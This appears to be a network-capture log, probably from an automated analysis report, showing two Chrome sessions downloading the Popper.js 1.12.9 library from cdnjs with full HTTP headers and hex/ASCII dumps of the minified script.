37	192.168.2.4	50072	104.17.24.14	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:43 UTC	711	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://office.docmanagementsystem.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://office.docmanagementsystem.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:43 UTC	964	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:43 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 209054 Expires: Tue, 20 Jan 2026 18:26:43 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1tbXJcE3f1ddyHWrYYo68Sko8pn2Jge%2BqtsxStZ61Uu7l33IC0IYeS%2Fuct5ykwRlxSB%2Bq2ZENKhaMfzYjFjWGYSR77ImyVlqhUpdfFtk%2FNquT0AEl%2FvzCUq1pclLj3Xacvg5%2B07k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 90a3830b5849de97-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:43 UTC	405	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 Data Ascii: (1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#docu
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 65 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 Data Ascii: e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 28 7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 Data Ascii: ({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}r
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d Data Ascii: ,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 Data Ascii: nsole.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={i
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b Data Ascii: ),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 Data Ascii: ;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e)
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 Data Ascii: {return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}func
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e Data Ascii: {return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=argumen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50077	104.17.25.14	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:43 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:43 UTC	970	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:43 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 209054 Expires: Tue, 20 Jan 2026 18:26:43 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pcp1cXKcFQDwINQ%2BTYGHORMZamlpmTM9%2Bqnwh1F5K0Ra8U3tH8Cr%2FZ%2Buzq6ua02%2FignLxeUYZ09ovgX3NnuK2HgBug0O%2FfGyzjyuDb%2BztuIRGmCXq%2BaOop8IkGOP3%2FOdQP4jPdwt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 90a3830fe9405e78-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:43 UTC	399	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 2c 74 29 7b 69 66 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 Data Ascii: ,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 69 6f 6e 20 6c 28 65 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f Data Ascii: ion l(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFlo
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 30 29 2c 68 3d 63 28 7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 Data Ascii: 0),h=c({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLe
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 2e 72 69 67 68 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b Data Ascii: .right,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 27 5d 26 26 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 Data Ascii: ']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){va
2025-01-30 18:26:43 UTC	1369	IN	Data Raw: 65 6e 65 72 73 28 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 Data Ascii: 